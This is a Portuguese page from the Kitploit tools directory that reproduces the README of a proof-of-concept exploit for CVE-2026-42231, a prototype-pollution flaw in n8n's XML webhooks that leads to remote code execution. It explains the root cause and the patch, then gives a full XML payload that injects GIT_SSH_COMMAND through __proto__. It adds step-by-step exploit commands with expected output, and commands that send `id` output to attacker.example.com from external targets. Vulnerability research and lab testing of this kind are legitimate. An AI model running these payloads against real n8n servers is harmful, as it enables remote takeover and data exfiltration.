Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-42231 — Prova de conceito de exploração para CVE-2026-42231, uma vulnerabilidade crítica de poluição de protótipo em webhooks XML do n8n que leva à execução remota de código. Inclui laboratório Docker, PoC em Python e verificador em Node.js. | Kitploit
Ferramentas/GitHubGitHub/rudsarkar/cve-2026-42231
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança Web
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

Prova de conceito de exploração para CVE-2026-42231, uma vulnerabilidade crítica de poluição de protótipo em webhooks XML do n8n que leva à execução remota de código. Inclui laboratório Docker, PoC em Python e verificador em Node.js.

Ver Repositório
14há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

GHSA-q5f4-99jv-pgg5 — Poluição de Protótipo em Webhook XML do n8n → RCE

CVE: CVE-2026-42231
Gravidade: Crítica (CVSS 10.0)
Afetados: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corrigido em: n8n 1.123.32 / 2.17.4 / 2.18.1


Resumo da Vulnerabilidade

packages/cli/src/middlewares/body-parser.ts cria um singleton xml2js Parser em nível de módulo sem tagNameProcessors ou attrNameProcessors. Isso permite que um atacante envie um corpo de webhook XML contendo um elemento <__proto__>.

xml2js 0.6.2 usa Object.defineProperty com um descritor de dados para definir chaves de elementos em objetos analisados. Como é sempre , envolve o valor em um array e o armazena como uma — contornando o accessor que normalmente atualizaria a cadeia de protótipos com segurança.

'__proto__' in obj
true
assignOrPush()
propriedade de dados enumerável própria
[[Set]]

A propriedade própria __proto__ sobrevive ao JSON.stringify (executado quando o n8n persiste dados de execução no SQLite/PostgreSQL), e após JSON.parse no recarregamento, um Object.assign(target, reloadedBody) subsequente redireciona o protótipo de target para o objeto controlado pelo atacante.

Em workflows que também contêm um nó Git realizando uma operação SSH, o protótipo poluído expõe um valor spawnOptions / GIT_SSH_COMMAND ao createInstanceConfig do simple-git, permitindo execução de comandos em nível de sistema operacional.


Causa Raiz

root@kitploit:~
// packages/cli/src/middlewares/body-parser.ts  (VULNERÁVEL — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // converte tags para minúsculas — mas NÃO bloqueia __proto__
    explicitArray: false,
    // ← SEM tagNameProcessors
    // ← SEM attrNameProcessors
});

Correção (>= 1.123.32):

root@kitploit:~
function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

Cadeia de Exploração

root@kitploit:~
1. O atacante envia um POST XML para um trigger de Webhook público:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. O parser de corpo xml2js cria req.body.root onde '__proto__' é uma
   PROPRIEDADE DE DADOS ENUMERÁVEL PRÓPRIA:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. O deepCopy() do n8n itera chaves próprias via for...in + hasOwnProp.
   A atribuição  clone['__proto__'] = deepCopy(attackerArray)
   substitui silenciosamente o protótipo de clone via o accessor [[Set]].

4. O n8n serializa dados de execução para o banco de dados:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   A chave __proto__ é incluída porque é própria e enumerável.
   Confirmado na tabela execution_data no SQLite.

5. No recarregamento, JSON.parse recria '__proto__' como uma propriedade de dados
   própria (objeto simples, sem envolvimento em array).
      Object.assign(gitOptions, reloadedBody)
   redireciona o protótipo de gitOptions para o objeto controlado pelo atacante.

6. Quando o nó Git chama simpleGit(gitOptions):
      createInstanceConfig(gitOptions)
   lê config.spawnOptions via a cadeia de protótipos → truthy →
   spawnOptionsPlugin é registrado.
   Com GIT_SSH_COMMAND no objeto env, o git executa o comando do
   atacante na próxima operação SSH.

Nota sobre normalizeTags

normalizeTags: true converte todas as tags XML para minúsculas, então elementos filhos como <GIT_SSH_COMMAND> tornam-se git_ssh_command no objeto analisado. Para preservar maiúsculas/minúsculas em nomes de variáveis de ambiente, use atributos XML (nomes de atributos não são normalizados por normalizeTags):

root@kitploit:~
<env GIT_SSH_COMMAND="attacker_cmd"/>

Pré-requisitos

  1. Um trigger de Webhook público (Autenticação = Nenhuma, Content-Type = XML) deve existir em um workflow ativo.
  2. Para o caminho completo de RCE, o workflow também deve conter um nó Git realizando uma operação autenticada por SSH (clone / push via URL SSH).
  3. Versão do n8n < 1.123.32.

Configuração do Laboratório

Requisitos

  • Docker ≥ 24 com Compose v2
  • Python 3.9+ (para uso autônomo do PoC sem Docker)
  • Porta 5678 livre em localhost

Configuração em um comando

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

Isso baixa n8nio/n8n:1.123.22 (última versão afetada), constrói a imagem do atacante, inicia o alvo vulnerável em http://localhost:5678, cria e ativa um workflow de webhook automaticamente, e salva a URL do webhook em .webhook_state.


Passo a Passo do Exploit Completo

1. Configuração

root@kitploit:~
./exploit.sh setup

Saída esperada (truncada):

root@kitploit:~
[*] Baixando imagem vulnerável do n8n (1.123.22) ...
[*] Construindo imagem do atacante ...
[*] Iniciando alvo n8n vulnerável ...
[*] Aguardando o n8n ficar saudável ...
[*] Criando workflow de webhook (Webhook → nó Code) ...
[+] Laboratório pronto.

    Execute:  ./exploit.sh demo        # verificar a primitiva de poluição
              ./exploit.sh exploit     # entregar os três payloads de RCE

2. Verificar a primitiva de poluição (modo demo)

root@kitploit:~
./exploit.sh demo

O PoC envia um payload de verificação e mostra o corpo analisado ecoado de volta do workflow do n8n. Uma instância vulnerável retorna:

root@kitploit:~
[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. Entregar payloads com intenção de RCE

root@kitploit:~
./exploit.sh exploit
# ou com um comando personalizado:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

Três payloads complementares são entregues:

PayloadTécnica
ATag <__proto__> — GIT_SSH_COMMAND como atributo XML
BCadeia <constructor><prototype>
C<__proto__> aninhado com atributos env

4. Observar o resultado (com nó Git no workflow)

  • No log de execução do n8n, procure pelo erro do comando git — ele incluirá a saída do seu GIT_SSH_COMMAND injetado se o RCE disparou.
  • No modo demo com o nó Code, o corpo da resposta do workflow conterá "step4_objectAssignPolluted": true confirmando a cadeia.

Uso Autônomo (sem Docker)

root@kitploit:~
pip install -r requirements.txt

# Apenas verificação — sem necessidade de nó Git:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <caminho-do-webhook> \
    --demo

# Exploit completo — requer workflow com Webhook + nó Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <caminho-do-webhook> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

Formato da URL do Webhook (n8n v1.123.x)

Em algumas implantações, o n8n registra o webhook como /webhook/<workflowId>/webhook/<caminho>. Se a forma curta /webhook/<caminho> retornar 404, passe o prefixo do workflow-ID como --target:

root@kitploit:~
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <caminho> \
    --demo

Verificação Local (Node.js, sem necessidade de instância ativa)

Reproduz a configuração exata do parser xml2js usada pelo n8n e percorre todos os quatro estágios da cadeia:

root@kitploit:~
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

Saída esperada na configuração vulnerável:

root@kitploit:~
[STEP 1] VULNERÁVEL — '__proto__' é propriedade de dados enumerável própria
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Parser corrigido renomeou __proto__ para sanitized___proto__
[STEP 2] deepCopy prototype alterado → clone proto[1].polluted = "CONFIRMED"
[STEP 3] Após JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  Se target for usado como config do simpleGit E o protótipo expuser
         ex.: { spawnOptions: { shell: true } }, o git será iniciado através de um shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (encontrado via cadeia de protótipos)
[ RCE ]  simpleGit chamaria: spawnOptionsPlugin(config.spawnOptions)
══ RESULTADO: Instância usa configuração xml2js VULNERÁVEL (sem sanitizeXmlName) ══

Comandos Docker Manuais

root@kitploit:~
# Construir a imagem do atacante
docker build -t n8n-proto-pollution-poc .

# Modo demo (anexa à rede do laboratório compartilhado)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# Exploit completo
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# Contra um alvo externo (sem necessidade de flag de rede)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <caminho> \
    --demo

Limpeza

root@kitploit:~
./exploit.sh clean

Para containers e remove volumes (incluindo o banco de dados SQLite).


Arquivos

ArquivoDescrição
poc_GHSA-q5f4-99jv-pgg5.pyPoC HTTP Python autônomo — três variantes de payload XML, modos --demo e --cmd
verify_GHSA-q5f4-99jv-pgg5.jsVerificador local de cadeia em Node.js — percorre todos os 4 estágios de exploração sem instância ativa
DockerfileImagem do container do atacante
docker-compose.ymlLaboratório completo: n8n vulnerável + container do atacante
exploit.shScript auxiliar para setup, demo, exploit e limpeza
requirements.txtDependências Python

Referências

  • GHSA-q5f4-99jv-pgg5
  • Changelog do n8n release 1.123.32
  • xml2js assignOrPush — descritor de dados Object.defineProperty
  • Poluição de Protótipo via Object.defineProperty
Baixar ferramenta